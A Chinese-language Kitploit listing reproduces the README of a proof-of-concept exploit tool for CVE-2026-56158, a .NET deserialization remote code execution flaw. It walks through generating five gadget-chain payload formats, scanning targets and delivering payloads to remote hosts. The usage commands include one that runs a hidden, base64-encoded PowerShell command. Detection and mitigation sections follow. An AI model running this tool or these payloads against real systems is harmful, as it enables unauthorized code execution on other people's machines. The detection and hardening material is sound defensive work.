Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit — 为 CVE-2026-56158 生成五种 .NET 反序列化载荷格式,通过 HTTP/SOAP/JSON 端点交付,包含模拟服务器、扫描器和 JSON 报告输出。 | Kitploit
工具/GitHubGitHub/sam00/cve-2026-56158-.net-framework-rce-poc-exploit
漏洞扫描器Payload生成静态代码分析 (SAST)漏洞分析漏洞利用Web应用程序漏洞利用Payload 开发
GitHubsam00/cve-2026-56158-.net-framework-rce-poc-exploit

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit

为 CVE-2026-56158 生成五种 .NET 反序列化载荷格式,通过 HTTP/SOAP/JSON 端点交付,包含模拟服务器、扫描器和 JSON 报告输出。

查看仓库
114天前尚未审核

CVE-2026-56158 —— .NET Framework 远程代码执行(RCE)PoC 漏洞利用

严重(CVSS 9.8) —— Microsoft .NET Framework 与 .NET 运行时中的不受信任数据反序列化(CWE-502) 已修补:2026年7月14日 | 发现者:Positive Technologies (PT-2026-60174)


目录

  • 概述
  • 漏洞详情
  • 受影响版本
  • 攻击向量
  • 漏洞利用架构
  • 文件结构
  • 安装
  • 分步使用指南
  • 测试
  • 检测与加固
  • 缓解措施
  • 参考
  • 免责声明
  • 许可证

概述

CVE-2026-56158 是 Microsoft .NET Framework 和 .NET 运行时中的一个严重远程代码执行漏洞。该缺陷存在于对不受信任数据的不安全反序列化(CWE-502)中 —— 当 .NET 应用程序使用旧版序列化器(BinaryFormatter、NetDataContractSerializer、SoapFormatter、ObjectStateFormatter)或启用了 TypeNameHandling.All/Auto 的 Json.NET 时,未经身份验证的远程攻击者可以投递精心构造的序列化负载,从而在反序列化时触发任意代码执行。

该漏洞的 CVSS 3.1 基础评分为 9.8(严重),向量为 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,这意味着:

  • 攻击向量:网络(无需物理访问)
  • 攻击复杂度:低
  • 所需权限:无
  • 用户交互:无
  • 影响:机密性、完整性和可用性完全受损

Microsoft 已于 2026年7月14日 随每月 Patch Tuesday 周期发布了安全更新。


漏洞详情

根本原因

.NET 运行时的旧版序列化器在从序列化流中重建任意对象类型时,不会验证类型或内容。当攻击者控制序列化输入时,他们可以引导反序列化器实例化意外类型,这些类型的构造函数、回调或属性设置器会执行任意代码 —— 这是一种经典的反序列化小工具链攻击。

该漏洞影响多种序列化机制:

  1. BinaryFormatter —— 带有类型元数据的二进制流;TypeConfuseDelegate 小工具链委托给 Process.Start
  2. NetDataContractSerializer —— 包含 .NET 类型信息的 XML 格式;允许直接实例化类型
  3. SoapFormatter —— 带有 CLR 类型引用的 SOAP XML 信封;ProcessStartInfo 嵌入在 SOAP 正文中
  4. ObjectStateFormatter —— ASP.NET ViewState 二进制格式;通过 ViewState 字段调用 Process.Start
  5. Json.NET (Newtonsoft.Json) —— 当启用 TypeNameHandling.All/Auto 时,带有 $type 元数据的 JSON;ObjectDataProvider 小工具调用 Process.Start

受影响版本

Alpine Linux 软件包:

  • dotnet8-runtime < 8.0.29-r0
  • dotnet9-runtime < 9.0.18-r0
  • dotnet10-runtime < 10.0.10-r0

攻击向量

此 PoC 漏洞利用通过 5 种不同的反序列化攻击格式生成并投递负载:

1. BinaryFormatter(TypeConfuseDelegate 小工具)

root@kitploit:~
Serialized Stream → BinaryFormatter.Deserialize() → TypeConfuseDelegate
  → Process.Start("cmd.exe", "/c calc.exe") → RCE
  • 格式:二进制(.NET 序列化流)
  • Content-Type:application/octet-stream
  • 投递方式:HTTP POST 正文、文件
  • 小工具:ActivitySurrogateSelector+ObjectSurrogate → TypeConfuseDelegate → Process.Start

2. NetDataContractSerializer

root@kitploit:~
XML with type info → NetDataContractSerializer.ReadObject()
  → ProcessStartInfo instantiation → Process.Start → RCE
  • 格式:带有嵌入式 .NET 类型信息的 XML
  • Content-Type:application/octet-stream 或 text/xml
  • 投递方式:HTTP POST 正文、WCF 端点

3. SoapFormatter

root@kitploit:~
SOAP envelope → SoapFormatter.Deserialize()
  → ProcessStartInfo in SOAP body → Process.Start → RCE
  • 格式:带有 CLR 类型引用的 SOAP XML 信封
  • Content-Type:text/xml
  • 投递方式:WCF/ASMX SOAP 端点

4. ObjectStateFormatter(ViewState)

root@kitploit:~
ViewState binary → ObjectStateFormatter.Deserialize()
  → Process.Start via ViewState field → RCE
  • 格式:二进制(ASP.NET ViewState 格式)
  • Content-Type:application/octet-stream
  • 投递方式:HTTP POST __VIEWSTATE 字段

5. Json.NET(TypeNameHandling.All)

root@kitploit:~
JSON with $type → JsonConvert.DeserializeObject<T>(json, TypeNameHandling.All)
  → ObjectDataProvider.MethodName = "Start" → Process.Start → RCE
  • 格式:带有 $type 元数据的 JSON
  • Content-Type:application/json
  • 投递方式:启用了 TypeNameHandling.All 或 Auto 的 REST API 端点

漏洞利用架构

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                         exploit.py                                   │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌──────────────┐   ┌───────────────┐   ┌───────────────────────┐  │
│  │ PayloadGen   │   │ PayloadDeliv  │   │ VulnerabilityScanner  │  │
│  │              │   │               │   │                       │  │
│  │ • BinaryFmt  │   │ • HTTP POST   │   │ • HTTP header check   │  │
│  │ • NetData    │──▶│ • SOAP/WCF   │──▶│ • Endpoint discovery  │  │
│  │ • SoapFmt    │   │ • JSON API    │   │ • ViewState analysis  │  │
│  │ • ObjectState│   │ • File save   │   │ • Version detection   │  │
│  │ • Json.NET   │   │               │   │                       │  │
│  └──────────────┘   └───────────────┘   └───────────────────────┘  │
│         │                   │                      │                 │
│         └───────────────────┼──────────────────────┘                 │
│                             ▼                                        │
│  ┌──────────────┐   ┌──────────────────────────────────────────┐   │
│  │ PayloadList  │   │ Report Generator (JSON)                   │   │
│  │ (Mock .NET)  │   │ • CVE metadata, CVSS, CWE                │   │
│  │              │   │ • Payload hashes (SHA-256)               │   │
│  │ Simulates    │   │ • Delivery results                       │   │
│  │ vulnerable   │   │ • RCE confirmation                       │   │
│  │ deserialization│ │ • References                             │   │
│  └──────────────┘   └──────────────────────────────────────────┘   │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

攻击流程

root@kitploit:~
Attacker ────POST /api/deserialize──────▶ Target (.NET < 8.0.29)
         Content-Type: application/octet-stream
         Body: [BinaryFormatter payload]
                                             │
                                             ▼
                                   BinaryFormatter.Deserialize()
                                   (no type validation)
                                             │
                                             ▼
                                   TypeConfuseDelegate invoked
                                             │
                                             ▼
                                   Process.Start("cmd.exe", "/c calc.exe")
                                             │
                                             ▼
                                   calc.exe spawns → RCE CONFIRMED

Mermaid 图表

root@kitploit:~
graph TD
    A[Attacker] --> B[PayloadGenerator]
    B --> B1[BinaryFormatter]
    B --> B2[NetDataContractSerializer]
    B --> B3[SoapFormatter]
    B --> B4[ObjectStateFormatter]
    B --> B5[Json.NET]

    B1 --> C1[TypeConfuseDelegate Gadget]
    B2 --> C2[ProcessStartInfo XML]
    B3 --> C3[SOAP ProcessStartInfo]
    B4 --> C4[ViewState Process.Start]
    B5 --> C5[ObjectDataProvider Gadget]

    C1 --> D[PayloadDelivery]
    C2 --> D
    C3 --> D
    C4 --> D
    C5 --> D

    D --> E1[HTTP POST]
    D --> E2[SOAP Endpoint]
    D --> E3[JSON API]
    D --> E4[File]

    E1 --> F[.NET Runtime < 8.0.29]
    E2 --> F
    E3 --> F
    E4 --> F

    F --> G[Unsafe Deserialization - No Type Validation]
    G --> H[Gadget Chain Executes]
    H --> I[Process.Start - RCE]
    I --> J[Arbitrary Code Execution]

    subgraph "Vulnerable Components"
        F
        G
    end

    subgraph "Exploit Chain"
        H
        I
        J
    end

文件结构

root@kitploit:~
CVE-2026-56158/
├── exploit.py          # Main exploit — payload generation, delivery, scanning, mock listener
├── detect.py           # Detection & hardening checker
├── test_exploit.py     # Unit tests (74 tests)
├── e2e_test.py         # End-to-end validation tests (37 tests)
├── README.md           # This file — GitHub description page
├── USAGE.md            # Detailed step-by-step usage guide
├── DIAGRAM.md          # Architecture & attack flow diagrams
├── package.json        # Project metadata
├── LICENSE             # MIT License
└── .gitignore          # Git ignore rules

安装

前置要求

  • Python 3.8+(仅标准库 —— 无外部依赖)
  • 目标:使用不安全反序列化的 .NET 应用程序(用于真实环境)
  • 测试无需安装 .NET(包含模拟服务器)

克隆

root@kitploit:~
git clone [email protected]:sam00/CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit.git
cd CVE-2026-56158

分步使用指南

第 1 步:生成负载

使用默认命令(calc.exe)生成全部 5 种负载格式:

root@kitploit:~
python3 exploit.py

输出:

root@kitploit:~
[INFO] Generating deserialization payloads...
  [SUCCESS] binaryformatter: 395 bytes
  [SUCCESS] netdatacontract: 437 bytes
  [SUCCESS] soap: 716 bytes
  [SUCCESS] objectstate: 153 bytes
  [SUCCESS] jsonnet: 695 bytes

使用自定义命令生成:

root@kitploit:~
python3 exploit.py -c "powershell.exe -nop -w hidden -enc <base64>"

第 2 步:使用模拟服务器进行本地测试

启动内置的模拟易受攻击 .NET 服务器并投递所有负载:

root@kitploit:~
python3 exploit.py --listen

此操作将:

  1. 启动一个模拟易受攻击 .NET 端点的 HTTP 服务器
  2. 生成全部 5 种负载格式
  3. 将每种负载投递到模拟服务器
  4. 验证是否触发了 RCE(反序列化 → 代码执行)
  5. 生成 JSON 漏洞利用报告

预期输出:

root@kitploit:~
[VULN] RCE CONFIRMED — Payload deserialized and command execution triggered

自定义端口:

root@kitploit:~
python3 exploit.py --listen --port 8080

第 3 步:将负载保存到文件

将特定负载格式保存到文件中,以便手动投递:

root@kitploit:~
# Save BinaryFormatter payload
python3 exploit.py --save payload.bin -f binaryformatter -c "calc.exe"

# Save SOAP payload
python3 exploit.py --save payload.soap -f soap -c "whoami"

# Save Json.NET payload
python3 exploit.py --save payload.json -f jsonnet -c "id"

第 4 步:投递到远程目标

将所有负载投递到远程 .NET 目标:

root@kitploit:~
python3 exploit.py -u http://target:8080 -c "calc.exe"

使用 SSL 证书绕过:

root@kitploit:~
python3 exploit.py -u https://target:8443 -c "calc.exe" --insecure

第 5 步:扫描目标以查找漏洞指标

扫描目标以查找 .NET 版本、反序列化端点和 ViewState 问题:

root@kitploit:~
python3 exploit.py -u http://target:8080 --scan

此操作检查:

  • HTTP 响应头中是否包含 .NET 版本指示器(X-AspNet-Version、X-Powered-By)
  • 常见的反序列化端点路径(/api/deserialize、/Service.svc 等)
  • ASP.NET ViewState 保护状态(MAC 验证、加密)

第 6 步:生成漏洞利用报告

生成包含完整漏洞利用细节的 JSON 报告:

root@kitploit:~
python3 exploit.py --listen -o report.json
# or
python3 exploit.py -u http://target:8080 -o report.json

报告包含:

  • CVE 元数据(ID、CVSS、CWE、向量)
  • 负载详情(格式、大小、SHA-256 哈希)
  • 投递结果(HTTP 状态、响应)
  • 扫描发现
  • RCE 确认状态
  • 参考

测试

单元测试(74 项测试)

root@kitploit:~
python3 test_exploit.py

测试覆盖:

  • 全部 5 种格式的负载生成
  • 自定义命令注入
  • Base64 编码
  • 负载投递(HTTP、SOAP、JSON、文件)
  • 漏洞扫描器(版本检测、端点发现)
  • 模拟监听器(RCE 确认、格式检测)
  • 报告生成(JSON 输出、文件创建)
  • 负载完整性(确定性生成)
  • 边缘情况(空命令、复杂参数)

端到端测试(37 项测试)

root@kitploit:~
python3 e2e_test.py

测试覆盖:

  • 完整漏洞利用链:生成 → 投递 → 验证 RCE
  • 全部 5 种负载格式投递到模拟服务器
  • 跨多种格式的 RCE 确认
  • 基于文件的负载投递
  • 漏洞扫描器集成
  • 漏洞利用报告的生成与验证

测试结果

root@kitploit:~
Unit Tests:  74 passed, 0 failed
E2E Tests:   37 passed, 0 failed
Total:       111 tests passed

检测与加固

运行检测检查器以识别易受攻击的 .NET 安装:

root@kitploit:~
python3 detect.py

扫描源代码中不安全的反序列化模式:

root@kitploit:~
python3 detect.py /path/to/source/code

检测器检查:

  • 已安装的 .NET 运行时版本(通过 dotnet --list-runtimes)
  • .NET Framework 注册表项(Windows)
  • 源代码模式:BinaryFormatter.Deserialize、NetDataContractSerializer.ReadObject、SoapFormatter.Deserialize、ObjectStateFormatter.Deserialize、TypeNameHandling.All/Auto、LosFormatter.Deserialize

缓解措施

  1. 将 .NET 运行时更新到已修补版本(8.0.29+、9.0.18+、10.0.10+)
  2. 通过 Windows Update 更新 .NET Framework(KB5100985/KB5100991/KB5101011)
  3. 用 System.Text.Json 或具有严格类型绑定的 DataContractSerializer 替换 BinaryFormatter
  4. 在需要使用旧版序列化器时,实现 SerializationBinder 允许列表
  5. 设置 AppContext 开关:Switch.System.Runtime.Serialization.UseLegacyBinaryFormatter=false
  6. 对于 ASP.NET ViewState:启用 ViewStateMac 和 ViewStateEncryption
  7. 对于 Json.NET:避免使用 TypeNameHandling.All/Auto;改用 TypeNameHandling.None
  8. 阻止 SoapFormatter 和 NetDataContractSerializer 处理不受信任的输入

参考

  • NVD — CVE-2026-56158
  • Tenable — CVE-2026-56158
  • Snyk — SNYK-ALPINE324-DOTNET8RUNTIME-18025263
  • Microsoft —— 2026年7月累积更新
  • MSRC — CVE-2026-56158
  • Alpine 安全跟踪器 — CVE-2026-56158
  • .NET 8.0.29 发行说明

免责声明

此概念验证(PoC)漏洞利用仅用于教育和经授权的安全测试目的。请仅对您拥有或已获得明确书面授权进行测试的系统使用此工具。对非您拥有的系统进行未经授权的使用是违法的,并可能违反计算机欺诈和滥用相关法律。

作者和贡献者不对因使用本软件而造成的任何滥用或损害负责。


许可证

MIT 许可证 —— 详情请参阅 LICENSE 文件。

下载工具
字段值
CVE IDCVE-2026-56158
标题.NET Framework 远程代码执行漏洞
CVSS 3.19.8 严重(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVSS 2.07.5 高危(AV:N/AC:L/Au:N/C:P/I:P/A:P)
CWECWE-502(不受信任数据反序列化)
发布时间2026年7月14日
修补时间2026年7月14日
发现者Positive Technologies (PT-2026-60174)
EPSS尚未评分
CISA KEV未列入
产品受影响范围修复版本KB 文章
.NET 8.08.0.0 – 8.0.288.0.29KB5100998
.NET 9.09.0.0 – 9.0.179.0.18KB5100998
.NET 10.010.0.0 – 10.0.910.0.10KB5101001
.NET Framework 3.5所有修补前版本已修补KB5100985
.NET Framework 4.6.2–4.7.2所有修补前版本已修补KB5100991
.NET Framework 4.8所有修补前版本已修补KB5101011
.NET Framework 4.8.1所有修补前版本已修补KB5101002
Visual Studio 2022 (17.12)修补前版本17.12.x—
Visual Studio 2022 (17.14)修补前版本17.14.x—
Visual Studio 2026 (18.7)修补前版本18.7.x—
  • 应用 WDAC/AppLocker 策略,以限制 .NET 应用程序启动进程
  • 监控 dotnet.exe、devenv.exe 或自定义 .NET 宿主进程产生的意外子进程